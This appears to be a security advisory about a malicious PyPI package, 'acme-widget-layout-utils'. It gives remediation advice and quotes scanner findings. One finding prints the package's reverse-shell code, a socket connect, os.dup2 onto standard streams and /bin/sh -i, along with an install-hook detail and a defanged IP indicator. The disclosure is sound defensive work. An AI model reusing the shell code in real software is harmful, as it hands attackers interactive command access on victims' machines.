If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.
Details
Source: amazon-inspector (ff800752007d4e55ddc8172e04c8d75ac04d61b499cc58d97f016cd34d70d6c4)
On import, src/acme_widget_layout_utils/__init__.py executes a textbook reverse-shell pattern: it opens a TCP socket, duplicates the socket file descriptor onto stdin/stdout/stderr via os.dup2, and execs `/bin/sh -i` (lines 11-16: `_sock.connect(("127.0.0.1", 1)); os.dup2(_sock.fileno(), 0);...; subprocess.call(["/bin/sh", "-i"])`). The hardcoded destination 127.0.0.1:1 is intentionally unreachable in a default environment, but the code is a fully functional reverse shell — any environment that has a listener on that endpoint, that proxies loopback, or that is patched to redirect the connection receives an interactive shell with the importing process's privileges. The package additionally writes a marker file `/tmp/pypi_install_hook_marker.txt` from a custom setup.py install cmdclass during `pip install`, and the package is published under a generic `widget-layout-utils` name despite its pyproject description acknowledging it is a 'pipeline hook probe' with no advertised utility. The name/purpose mismatch increases the risk of accidental installation. Shipping live reverse-shell code on public PyPI under a benign name is unsafe regardless of the author's stated 'security probe' intent.
Source: kam193 (643a7c935e2bb063cea8baf36f13bca89572d1febbf0efdb05812ee09ddde4d8)
During import, the package starts a reverse shell.
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Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-06-acme-widget-layout-utils
Reasons (based on the campaign):
- The package contains code to create a reverse shell, allowing an attacker to execute any commands on the victim's machine.
Indicators of compromise
Shown defanged and not clickable. Search any indicator to find other packages using it.
IP addresses
- 34[.]69[.]137[.]236 other packages →